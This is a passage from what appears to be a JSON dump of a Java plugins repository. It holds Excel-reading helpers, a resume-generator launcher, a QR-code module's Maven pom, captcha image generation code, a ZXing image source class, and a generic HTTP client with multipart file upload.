DecimalFormat bigDecimal=new DecimalFormat(\"########\");\n                    cellValue = String.valueOf(bigDecimal.format(cell.getNumericCellValue()));\n                    break;\n                }\n                case FORMULA: {\n                    if (DateUtil.isCellDateFormatted(cell)) {\n                        cellValue = cell.getDateCellValue();//转换为日期格式YYYY-mm-dd\n                    } else {\n                        cellValue = String.valueOf(cell.getNumericCellValue()); //数字\n                    }\n                    break;\n                }\n                case STRING: {\n                    cellValue = cell.getRichStringCellValue().getString();\n                    break;\n                }\n                default:\n                    cellValue = \"\";\n            }\n        } else {\n            cellValue = \"\";\n        }\n        return cellValue;\n    }\n\n    /**\n     * 根据中文列明获得对应的实体类属性名\n     * @param fieldName\n     * @param clazz\n     * @return\n     */\n    public static String getColumnName(String fieldName,Class clazz){\n        Field[] fields=clazz.getDeclaredFields();\n        for (Field field : fields) {\n            if(field.getAnnotation(ExcelField.class)==null)\n                continue;\n\n            ExcelField annotation=field.getAnnotation(ExcelField.class);\n            String name=annotation.name();\n            if(name.equals(fieldName)){\n                return field.getName();\n            }\n        }\n        System.out.println(\"未匹配到字段名:\"+fieldName);\n        return null;\n\n    }\n\n    public static String getColumnName(String fieldName,Map<String,String> mapping){\n       return mapping.get(fieldName);\n    }\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/start/README.md",
    "content": "在该文件夹下放入jre文件夹，\n点击启动.bat即可生成简历"
  },
  {
    "path": "jun_java_plugins/jun_poi_tl_word_export/start/启动.bat",
    "content": "@echo \njre\\bin\\java -jar dcits-resume-0.0.1-SNAPSHOT.jar\npause"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_qrcode</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.13</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.google.zxing</groupId>\n\t\t\t<artifactId>core</artifactId>\n\t\t\t<version>3.4.0</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.google.zxing</groupId>\n\t\t\t<artifactId>javase</artifactId>\n\t\t\t<version>2.2</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.google.guava</groupId>\n\t\t\t<artifactId>guava</artifactId>\n\t\t\t<version>29.0-jre</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.7.22</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>1.7.22</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-io</groupId>\n\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t<version>2.7</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.testng</groupId>\n\t\t\t<artifactId>testng</artifactId>\n\t\t\t<version>6.9.10</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/QRCode/QRCode_swetake -->\n\t\t<!-- <dependency> -->\n\t\t<!-- <groupId>QRCode</groupId> -->\n\t\t<!-- <artifactId>QRCode_swetake</artifactId> -->\n\t\t<!-- <version>3.0.0</version> -->\n\t\t<!-- </dependency> -->\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t</dependencies>\n\t<build>\n\t\t<finalName>jun_qrcode</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/kaptcha/KcaptchaController.java",
    "content": "package com.jun.plugin.kaptcha;\n/*\nimport com.google.code.kaptcha.Producer;\nimport com.google.code.kaptcha.util.Config;\nimport com.octo.captcha.service.CaptchaServiceException;\nimport com.octo.captcha.service.image.ImageCaptchaService;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.Model;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport javax.imageio.ImageIO;\nimport javax.servlet.ServletOutputStream;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.awt.image.BufferedImage;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.util.Date;\nimport java.util.Properties;\nimport com.google.code.kaptcha.Constants;\n\n@Controller\n@RequestMapping(value = \"/demo\", method = {RequestMethod.GET})\npublic class KcaptchaController {\n\n    public static final String CAPTCHA_IMAGE_FORMAT = \"jpeg\";\n\n    //--kapcha验证码。\n    private Properties props = new Properties();\n    private Producer kaptchaProducer = null;\n    private String sessionKeyValue = null;\n    private String sessionKeyDateValue = null;\n\n    public KcaptchaController() {\n        ImageIO.setUseCache(false);\n\n        //设置宽和高。\n        this.props.put(Constants.KAPTCHA_IMAGE_WIDTH, \"200\");\n        this.props.put(Constants.KAPTCHA_IMAGE_HEIGHT, \"60\");\n        //kaptcha.border：是否显示边框。\n        this.props.put(Constants.KAPTCHA_BORDER, \"no\");\n        //kaptcha.textproducer.font.color：字体颜色\n        this.props.put(Constants.KAPTCHA_TEXTPRODUCER_FONT_COLOR, \"black\");\n        //kaptcha.textproducer.char.space：字符间距\n        this.props.put(Constants.KAPTCHA_TEXTPRODUCER_CHAR_SPACE, \"5\");\n        //设置字体。\n        this.props.put(Constants.KAPTCHA_TEXTPRODUCER_FONT_SIZE, \"40\");\n        //this.props.put(Constants.KAPTCHA_NOISE_COLOR, \"\");\n        //更多的属性设置可以在com.google.code.kaptcha.Constants类中找到。\n\n\n        Config config1 = new Config(this.props);\n        this.kaptchaProducer = config1.getProducerImpl();\n        this.sessionKeyValue = config1.getSessionKey();\n        this.sessionKeyDateValue = config1.getSessionDate();\n    }\n\n\n    @RequestMapping(value = \"/kcaptcha.jpg\", method = {RequestMethod.GET})\n    @ResponseBody\n    public void kaptcha(@RequestParam(value = \"code\", defaultValue = \"0\") String code,\n                        HttpServletResponse response, HttpServletRequest request,\n                        Model view) throws IOException {\n        // flush it in the response\n        response.setHeader(\"Cache-Control\", \"no-store\");\n        response.setHeader(\"Pragma\", \"no-cache\");\n        response.setDateHeader(\"Expires\", 0);\n        response.setContentType(\"image/\" + CAPTCHA_IMAGE_FORMAT);\n\n        String capText = this.kaptchaProducer.createText();\n        BufferedImage bi = this.kaptchaProducer.createImage(capText);\n        ServletOutputStream out = response.getOutputStream();\n        try {\n            request.getSession().setAttribute(this.sessionKeyValue, capText);\n            request.getSession().setAttribute(this.sessionKeyDateValue, new Date());\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        ImageIO.write(bi, CAPTCHA_IMAGE_FORMAT, out);\n\n    }\n}*/"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/vccode/ImageTest.java",
    "content": "package com.jun.plugin.vccode;\n\nimport java.awt.Color;\nimport java.awt.Graphics2D;\nimport java.awt.image.BufferedImage;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\n\nimport javax.imageio.ImageIO;\n\nimport org.junit.Test;\n\npublic class ImageTest {\n\t@Test\n\tpublic void fun1() throws FileNotFoundException, IOException {\n\t\t/*\n\t\t * 1. 创建图片缓冲区 2. 设置其宽高 3. 得到这个图片的绘制环境（得到画笔） 4. 保存起来\n\t\t */\n\t\tBufferedImage bi = new BufferedImage(70, 35, BufferedImage.TYPE_INT_RGB);\n\t\tGraphics2D g = (Graphics2D) bi.getGraphics();// 得到绘制环境\n\t\tg.setColor(Color.WHITE);// 把环境设置为白色\n\t\tg.fillRect(0, 0, 70, 35);// 填充矩形！填充矩形，从0,0点开始，宽70，高35，即整个图片，即为图片设置背景色\n\t\tg.setColor(Color.RED);// 把环境设置为红色\n\t\tg.drawString(\"Hello\", 2, 35 - 2);// 向图片上写入字符串，其中2,2表示x,y轴的坐标\n\n\t\tImageIO.write(bi, \"JPEG\", new FileOutputStream(\"D:/xxx.jpg\"));\n\t}\n\n\t@Test\n\tpublic void fun2() throws FileNotFoundException, IOException {\n\t\tVerifyCode vc = new VerifyCode();// 创建VerifyCode类的对象\n\t\tBufferedImage bi = vc.getImage();// 调用getImge()方法获得一个BufferedImage对象\n\t\tVerifyCode.output(bi, new FileOutputStream(\"D:/验证码.jpg\"));// 调用静态方法output()方法将图片保存在文件输出流中\n\t\tSystem.out.println(vc.getText());// 在控制台上打印验证码的文本值\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/vccode/VerifyCode.java",
    "content": "package com.jun.plugin.vccode;\n\nimport java.awt.BasicStroke;\nimport java.awt.Color;\nimport java.awt.Font;\nimport java.awt.Graphics2D;\nimport java.awt.image.BufferedImage;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Random;\n\nimport javax.imageio.ImageIO;\n\npublic class VerifyCode {\n\tprivate int w = 70;\n\tprivate int h = 35;\n \tprivate Random r = new Random();\n \t// {\"宋体\", \"华文楷体\", \"黑体\", \"华文新魏\", \"华文隶书\", \"微软雅黑\", \"楷体_GB2312\"}\n\tprivate String[] fontNames  = {\"宋体\", \"华文楷体\", \"黑体\", \"微软雅黑\", \"楷体_GB2312\"};\n\t// 可选字符\n\tprivate String codes  = \"23456789abcdefghjkmnopqrstuvwxyzABCDEFGHJKMNPQRSTUVWXYZ\";\n\t// 背景色\n\tprivate Color bgColor  = new Color(255, 255, 255);\n\t// 验证码上的文本\n\tprivate String text ;\n\t\n\t// 生成随机的颜色\n\tprivate Color randomColor () {\n\t\tint red = r.nextInt(150);\n\t\tint green = r.nextInt(150);\n\t\tint blue = r.nextInt(150);\n\t\treturn new Color(red, green, blue);\n\t}\n\t\n\t// 生成随机的字体\n\tprivate Font randomFont () {\n\t\tint index = r.nextInt(fontNames.length);\n\t\tString fontName = fontNames[index];//生成随机的字体名称\n\t\tint style = r.nextInt(4);//生成随机的样式, 0(无样式), 1(粗体), 2(斜体), 3(粗体+斜体)\n\t\tint size = r.nextInt(5) + 24; //生成随机字号, 24 ~ 28\n\t\treturn new Font(fontName, style, size);\n\t}\n\t\n\t// 画干扰线\n\tprivate void drawLine (BufferedImage image) {\n\t\tint num  = 3;//一共画3条\n\t\tGraphics2D g2 = (Graphics2D)image.getGraphics();\n\t\tfor(int i = 0; i < num; i++) {//生成两个点的坐标，即4个值\n\t\t\tint x1 = r.nextInt(w);\n\t\t\tint y1 = r.nextInt(h);\n\t\t\tint x2 = r.nextInt(w);\n\t\t\tint y2 = r.nextInt(h); \n\t\t\tg2.setStroke(new BasicStroke(1.5F)); \n\t\t\tg2.setColor(Color.BLUE); //干扰线是蓝色\n\t\t\tg2.drawLine(x1, y1, x2, y2);//画线\n\t\t}\n\t}\n\t\n\t// 随机生成一个字符\n\tprivate char randomChar () {\n\t\tint index = r.nextInt(codes.length());\n\t\treturn codes.charAt(index);\n\t}\n\t\n\t// 创建BufferedImage\n\tprivate BufferedImage createImage () {\n\t\tBufferedImage image = new BufferedImage(w, h, BufferedImage.TYPE_INT_RGB); \n\t\tGraphics2D g2 = (Graphics2D)image.getGraphics(); \n\t\tg2.setColor(this.bgColor);\n\t\tg2.fillRect(0, 0, w, h);\n \t\treturn image;\n\t}\n\t\n\t// 调用这个方法得到验证码\n\tpublic BufferedImage getImage () {\n\t\tBufferedImage image = createImage();//创建图片缓冲区 \n\t\tGraphics2D g2 = (Graphics2D)image.getGraphics();//得到绘制环境\n\t\tStringBuilder sb = new StringBuilder();//用来装载生成的验证码文本\n\t\t// 向图片中画4个字符\n\t\tfor(int i = 0; i < 4; i++)  {//循环四次，每次生成一个字符\n\t\t\tString s = randomChar() + \"\";//随机生成一个字母 \n\t\t\tsb.append(s); //把字母添加到sb中\n\t\t\tfloat x = i * 1.0F * w / 4; //设置当前字符的x轴坐标\n\t\t\tg2.setFont(randomFont()); //设置随机字体\n\t\t\tg2.setColor(randomColor()); //设置随机颜色\n\t\t\tg2.drawString(s, x, h-5); //画图\n\t\t}\n\t\tthis.text = sb.toString(); //把生成的字符串赋给了this.text\n\t\tdrawLine(image); //添加干扰线\n\t\treturn image;\t\t\n\t}\n\t\n\t// 返回验证码图片上的文本\n\tpublic String getText () {\n\t\treturn text;\n\t}\n\t\n\t// 保存图片到指定的输出流\n\tpublic static void output (BufferedImage image, OutputStream out) \n\t\t\t\tthrows IOException {\n\t\tImageIO.write(image, \"JPEG\", out);\n\t}\n\t\n\tpublic static void main(String[] args) {\n//\t\tImageIO.write(image, \"JPEG\", out);\n\t}\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/zxing/BufferedImageLuminanceSource.java",
    "content": "package com.jun.plugin.zxing;\n\n\nimport com.google.zxing.LuminanceSource;\n\nimport java.awt.Graphics2D;\nimport java.awt.geom.AffineTransform;\nimport java.awt.image.BufferedImage;\n\n/**\n * 二维码解析使用类\n * \n * @author X-rapido\n * \n */\npublic class BufferedImageLuminanceSource extends LuminanceSource {\n    private final BufferedImage image;\n    private final int left;\n    private final int top;\n\n    public BufferedImageLuminanceSource(BufferedImage image) {\n        this(image, 0, 0, image.getWidth(), image.getHeight());\n    }\n\n    public BufferedImageLuminanceSource(BufferedImage image, int left, int top, int width, int height) {\n        super(width, height);\n\n        int sourceWidth = image.getWidth();\n        int sourceHeight = image.getHeight();\n        if (left + width > sourceWidth || top + height > sourceHeight) {\n            throw new IllegalArgumentException(\"Crop rectangle does not fit within image data.\");\n        }\n\n        for (int y = top; y < top + height; y++) {\n            for (int x = left; x < left + width; x++) {\n                if ((image.getRGB(x, y) & 0xFF000000) == 0) {\n                    image.setRGB(x, y, 0xFFFFFFFF); // = white\n                }\n            }\n        }\n\n        this.image = new BufferedImage(sourceWidth, sourceHeight, BufferedImage.TYPE_BYTE_GRAY);\n        this.image.getGraphics().drawImage(image, 0, 0, null);\n        this.left = left;\n        this.top = top;\n    }\n\n    @Override\n    public byte[] getRow(int y, byte[] row) {\n        if (y < 0 || y >= getHeight()) {\n            throw new IllegalArgumentException(\"Requested row is outside the image: \" + y);\n        }\n        int width = getWidth();\n        if (row == null || row.length < width) {\n            row = new byte[width];\n        }\n        image.getRaster().getDataElements(left, top + y, width, 1, row);\n        return row;\n    }\n\n    @Override\n    public byte[] getMatrix() {\n        int width = getWidth();\n        int height = getHeight();\n        int area = width * height;\n        byte[] matrix = new byte[area];\n        image.getRaster().getDataElements(left, top, width, height, matrix);\n        return matrix;\n    }\n\n    @Override\n    public boolean isCropSupported() {\n        return true;\n    }\n\n    @Override\n    public LuminanceSource crop(int left, int top, int width, int height) {\n        return new BufferedImageLuminanceSource(image, this.left + left, this.top + top, width, height);\n    }\n\n    @Override\n    public boolean isRotateSupported() {\n        return true;\n    }\n\n    @Override\n    public LuminanceSource rotateCounterClockwise() {\n\n        int sourceWidth = image.getWidth();\n        int sourceHeight = image.getHeight();\n\n        AffineTransform transform = new AffineTransform(0.0, -1.0, 1.0, 0.0, 0.0, sourceWidth);\n\n        BufferedImage rotatedImage = new BufferedImage(sourceHeight, sourceWidth, BufferedImage.TYPE_BYTE_GRAY);\n\n        Graphics2D g = rotatedImage.createGraphics();\n        g.drawImage(image, transform, null);\n        g.dispose();\n\n        int width = getWidth();\n        return new BufferedImageLuminanceSource(rotatedImage, top, sourceWidth - (left + width), getHeight(), width);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/zxing/HttpClientHelper.java",
    "content": "package com.jun.plugin.zxing;\nimport java.io.DataOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.UnsupportedEncodingException;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.net.URLEncoder;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class HttpClientHelper {\n\tstatic {\n\t\tSystem.setProperty(\"java.net.useSystemProxies\", \"true\");\n\t}\n\n\tpublic enum REQUEST_METHOD {\n\t\tGET, POST, MULTIPART_FORM_DATA\n\t}\n\n\tpublic static InputStream get(String urlToRequest,\n\t\t\tMap<String, String> parameters) {\n\t\treturn invokeRequest(urlToRequest, REQUEST_METHOD.GET, parameters);\n\t}\n\n\tpublic static InputStream post(String urlToRequest,\n\t\t\tMap<String, String> parameters) {\n\t\treturn invokeRequest(urlToRequest, REQUEST_METHOD.POST, parameters);\n\t}\n\n\tpublic static String requestBodyString(String urlToRequest,\n\t\t\tMap<String, String> parameters) {\n\t\treturn convertStreamToString(\n\t\t\t\tinvokeRequest(urlToRequest, REQUEST_METHOD.GET, parameters),\n\t\t\t\t\"utf-8\");\n\t}\n\n\tpublic static String postBodyString(String urlToRequest,\n\t\t\tMap<String, String> parameters) {\n\t\treturn convertStreamToString(\n\t\t\t\tinvokeRequest(urlToRequest, REQUEST_METHOD.POST, parameters),\n\t\t\t\t\"utf-8\");\n\t}\n\n\tpublic static InputStream invokeRequest(String urlToRequest,\n\t\t\tREQUEST_METHOD method, Map<String, String> parameters) {\n\t\tif (urlToRequest == null || urlToRequest.trim().length() == 0)\n\t\t\treturn null;\n\t\tif (parameters == null) {\n\t\t\tparameters = new HashMap<String, String>();\n\t\t}\n\t\tString urlParameters = constructURLString(parameters);\n\n\t\tif ((method == null || REQUEST_METHOD.GET.equals(method))\n\t\t\t\t&& urlParameters.length() < 900 && urlParameters.length() > 0) {\n\t\t\tif (urlToRequest.indexOf(\"?\") == -1)\n\t\t\t\turlToRequest += \"?\" + urlParameters;\n\t\t\telse\n\t\t\t\turlToRequest += \"&\" + urlParameters;\n\t\t\tmethod = REQUEST_METHOD.GET;\n\t\t}\n\t\tInputStream in = null;\n\t\ttry {\n\t\t\tURL url = new URL(urlToRequest);\n\t\t\t//System.out.println(\"Reuqest URL:::\" + urlToRequest);\n\t\t\tHttpURLConnection con = (HttpURLConnection) url.openConnection();\n\t\t\tOutputStream out;\n\n\t\t\tbyte[] buff;\n\n\t\t\tif (REQUEST_METHOD.GET.equals(method)) {\n\t\t\t\tcon.setRequestMethod(\"GET\");\n\t\t\t\tcon.setDoOutput(false);\n\t\t\t\tcon.setDoInput(true);\n\t\t\t\tcon.connect();\n\t\t\t\tin = con.getInputStream();\n\t\t\t} else if (REQUEST_METHOD.MULTIPART_FORM_DATA.equals(method)) {\n\t\t\t\tcon.setRequestMethod(\"POST\");\n\t\t\t\tcon.setDoOutput(true);\n\t\t\t\tcon.setDoInput(true);\n\t\t\t\tcon.setUseCaches(false);\n\t\t\t\tcon.setDefaultUseCaches(false);\n\n\t\t\t\tString boundary = MultipartFormOutputStream.createBoundary();\n\t\t\t\t// The following request properties were recommended by the MPF\n\t\t\t\t// class\n\t\t\t\tcon.setRequestProperty(\"Accept\", \"*/*\");\n\t\t\t\tcon.setRequestProperty(\"Content-Type\",\n\t\t\t\t\t\tMultipartFormOutputStream.getContentType(boundary));\n\t\t\t\tcon.setRequestProperty(\"Connection\", \"Keep-Alive\");\n\t\t\t\tcon.setRequestProperty(\"Cache-Control\", \"no-cache\");\n\t\t\t\tcon.connect();\n\t\t\t\tMultipartFormOutputStream mpout = new MultipartFormOutputStream(\n\t\t\t\t\t\tcon.getOutputStream(), boundary);\n\t\t\t\t// First, write out the parameters\n\t\t\t\tfor (Map.Entry<String, String> entry : parameters.entrySet()) {\n\t\t\t\t\tmpout.writeField(entry.getKey(), entry.getValue());\n\t\t\t\t}\n\t\t\t\t// Now write the image\n\t\t\t\tString mimeType = \"image/jpg\";\n\t\t\t\tString fullFilePath = parameters.get(\"file_path\");\n\t\t\t\tif (fullFilePath.endsWith(\"gif\")) {\n\t\t\t\t\tmimeType = \"image/gif\";\n\t\t\t\t} else if (fullFilePath.endsWith(\"png\")) {\n\t\t\t\t\tmimeType = \"image/png\";\n\t\t\t\t} else if (fullFilePath.endsWith(\"tiff\")) {\n\t\t\t\t\tmimeType = \"image/tiff\";\n\t\t\t\t}\n\t\t\t\tmpout.writeFile(\"uploadFile\", mimeType, new File(fullFilePath));\n\t\t\t\tmpout.flush();\n\t\t\t\tmpout.close();\n\t\t\t\t// All done, get the InputStream\n\t\t\t\tin = con.getInputStream();\n\t\t\t} else {\n\t\t\t\tcon.setRequestMethod(\"POST\");\n\t\t\t\tcon.setDoOutput(true);\n\t\t\t\tcon.setDoInput(true);\n\t\t\t\tcon.connect();\n\t\t\t\tout = con.getOutputStream();\n\t\t\t\tbuff = urlParameters.getBytes(\"UTF8\");\n\t\t\t\tout.write(buff);\n\t\t\t\tout.flush();\n\t\t\t\tout.close();\n\t\t\t\tin = con.getInputStream();\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn in;\n\n\t}\n\n\t/**\n\t * Expand the map of parameters to construct a URL string\n\t * \n\t * @param parameters\n\t * @return\n\t */\n\tprivate static String constructURLString(Map<String, String> parameters) {\n\t\tStringBuffer url = new StringBuffer();\n\n\t\tboolean first = true;\n\n\t\tfor (Map.Entry<String, String> entry : parameters.entrySet()) {\n\t\t\ttry {\n\t\t\t\t// type checking, we can get nulls in here\n\t\t\t\tif ((entry.getValue() == null) || (entry.getKey() == null)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif (entry.getValue().length() == 0) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif (first) {\n\t\t\t\t\tfirst = false;\n\t\t\t\t} else {\n\t\t\t\t\turl.append(\"&\");\n\t\t\t\t}\n\t\t\t\turl.append(URLEncoder.encode(entry.getKey(), \"UTF-8\") + \"=\"\n\t\t\t\t\t\t+ URLEncoder.encode(entry.getValue(), \"UTF-8\"));\n\t\t\t} catch (UnsupportedEncodingException ex) {\n\t\t\t\tex.printStackTrace();\n\t\t\t\t// No Fixing this, really\n\t\t\t\tthrow new Error(\"Unsupported Encoding Exception\", ex);\n\t\t\t}\n\t\t}\n\n\t\treturn url.toString();\n\t}\n\n\tpublic static String convertStreamToString(InputStream is, String encoding) {\n\t\ttry {\n\t\t\tInputStreamReader input = new InputStreamReader(is, \"UTF-8\");\n\t\t\tfinal int CHARS_PER_PAGE = 5000; // counting spaces\n\t\t\tfinal char[] buffer = new char[CHARS_PER_PAGE];\n\t\t\tStringBuilder output = new StringBuilder(CHARS_PER_PAGE);\n\t\t\ttry {\n\t\t\t\tfor (int read = input.read(buffer, 0, buffer.length); read != -1; read = input\n\t\t\t\t\t\t.read(buffer, 0, buffer.length)) {\n\t\t\t\t\toutput.append(buffer, 0, read);\n\t\t\t\t}\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\n\t\t\treturn output.toString();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn \"\";\n\n\t}\n\n}\n\nclass MultipartFormOutputStream {\n\n\t/**\n\t * The line end characters.\n\t */\n\tprivate static final String NEWLINE = \"\\r\\n\";\n\n\t/**\n\t * The boundary prefix.\n\t */\n\tprivate static final String PREFIX = \"--\";\n\n\t/**\n\t * The output stream to write to.\n\t */\n\tprivate DataOutputStream out = null;\n\n\t/**\n\t * The multipart boundary string.\n\t */\n\tprivate String boundary = null;\n\n\t/**\n\t * Creates a new <code>MultiPartFormOutputStream</code> object using the\n\t * specified output stream and boundary. The boundary is required to be\n\t * created before using this method, as described in the description for the\n\t * <code>getContentType(String)</code> method. The boundary is only checked\n\t * for <code>null</code> or empty string, but it is recommended to be at\n\t * least 6 characters. (Or use the static createBoundary() method to create\n\t * one.)\n\t * \n\t * @param os\n\t *            the output stream\n\t * @param boundary\n\t *            the boundary\n\t * @see #createBoundary()\n\t * @see #getContentType(String)\n\t */\n\tMultipartFormOutputStream(OutputStream os, String boundary) {\n\t\tif (os == null) {\n\t\t\tthrow new IllegalArgumentException(\"Output stream is required.\");\n\t\t}\n\t\tif (boundary == null || boundary.length() == 0) {\n\t\t\tthrow new IllegalArgumentException(\"Boundary stream is required.\");\n\t\t}\n\t\tthis.out = new DataOutputStream(os);\n\t\tthis.boundary = boundary;\n\t}\n\n\t/**\n\t * Writes an boolean field value.\n\t * \n\t * @param name\n\t *            the field name (required)\n\t * @param value\n\t *            the field value\n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tpublic void writeField(String name, boolean value)\n\t\t\tthrows java.io.IOException {\n\t\twriteField(name, new Boolean(value).toString());\n\t}\n\n\t/**\n\t * Writes an double field value.\n\t * \n\t * @param name\n\t *            the field name (required)\n\t * @param value\n\t *            the field value\n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tpublic void writeField(String name, double value)\n\t\t\tthrows java.io.IOException {\n\t\twriteField(name, Double.toString(value));\n\t}\n\n\t/**\n\t * Writes an float field value.\n\t * \n\t * @param name\n\t *            the field name (required)\n\t * @param value\n\t *            the field value\n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tpublic void writeField(String name, float value) throws java.io.IOException {\n\t\twriteField(name, Float.toString(value));\n\t}\n\n\t/**\n\t * Writes an long field value.\n\t * \n\t * @param name\n\t *            the field name (required)\n\t * @param value\n\t *            the field value\n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tpublic void writeField(String name, long value) throws java.io.IOException {\n\t\twriteField(name, Long.toString(value));\n\t}\n\n\t/**\n\t * Writes an int field value.\n\t * \n\t * @param name\n\t *            the field name (required)\n\t * @param value\n\t *            the field value\n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tpublic void writeField(String name, int value) throws java.io.IOException {\n\t\twriteField(name, Integer.toString(value));\n\t}\n\n\t/**\n\t * Writes an short field value.\n\t * \n\t * @param name\n\t *            the field name (required)\n\t * @param value\n\t *            the field value\n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tpublic void writeField(String name, short value) throws java.io.IOException {\n\t\twriteField(name, Short.toString(value));\n\t}\n\n\t/**\n\t * Writes an char field value.\n\t * \n\t * @param name\n\t *            the field name (required)\n\t * @param value\n\t *            the field value\n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tpublic void writeField(String name, char value) throws java.io.IOException {\n\t\twriteField(name, new Character(value).toString());\n\t}\n\n\t/**\n\t * Writes an string field value. If the value is null, an empty string is\n\t * sent (\"\").\n\t * \n\t * @param name\n\t *            the field name (required)\n\t * @param value\n\t *            the field value\n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tpublic void writeField(String name, String value)\n\t\t\tthrows java.io.IOException {\n\t\tif (name == null) {\n\t\t\tthrow new IllegalArgumentException(\"Name cannot be null or empty.\");\n\t\t}\n\t\tif (value == null) {\n\t\t\tvalue = \"\";\n\t\t}\n\t\t/*\n\t\t * --boundary\\r\\n Content-Disposition: form-data; name=\"<fieldName>\"\\r\\n\n\t\t * \\r\\n <value>\\r\\n\n\t\t */\n\t\t// write boundary\n\t\tout.writeBytes(PREFIX);\n\t\tout.writeBytes(boundary);\n\t\tout.writeBytes(NEWLINE);\n\t\t// write content header\n\t\tout.writeBytes(\"Content-Disposition: form-data; name=\\\"\" + name + \"\\\"\");\n\t\tout.writeBytes(NEWLINE);\n\t\tout.writeBytes(NEWLINE);\n\t\t// write content\n\t\tout.writeBytes(value);\n\t\tout.writeBytes(NEWLINE);\n\t\tout.flush();\n\t}\n\n\t/**\n\t * Writes a file's contents. If the file is null, does not exists, or is a\n\t * directory, a <code>java.lang.IllegalArgumentException</code> will be\n\t * thrown.\n\t * \n\t * @param name\n\t *            the field name\n\t * @param mimeType\n\t *            the file content type (optional, recommended)\n\t * @param file\n\t *            the file (the file must exist)\n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tpublic void writeFile(String name, String mimeType, File file)\n\t\t\tthrows java.io.IOException {\n\t\tif (file == null) {\n\t\t\tthrow new IllegalArgumentException(\"File cannot be null.\");\n\t\t}\n\t\tif (!file.exists()) {\n\t\t\tthrow new IllegalArgumentException(\"File does not exist.\");\n\t\t}\n\t\tif (file.isDirectory()) {\n\t\t\tthrow new IllegalArgumentException(\"File cannot be a directory.\");\n\t\t}\n\t\twriteFile(name, mimeType, file.getCanonicalPath(), new FileInputStream(\n\t\t\t\tfile));\n\t}\n\n\t/**\n\t * Writes a input stream's contents. If the input stream is null, a\n\t * <code>java.lang.IllegalArgumentException</code> will be thrown.\n\t * \n\t * @param name\n\t *            the field name\n\t * @param mimeType\n\t *            the file content type (optional, recommended)\n\t * @param fileName\n\t *            the file name 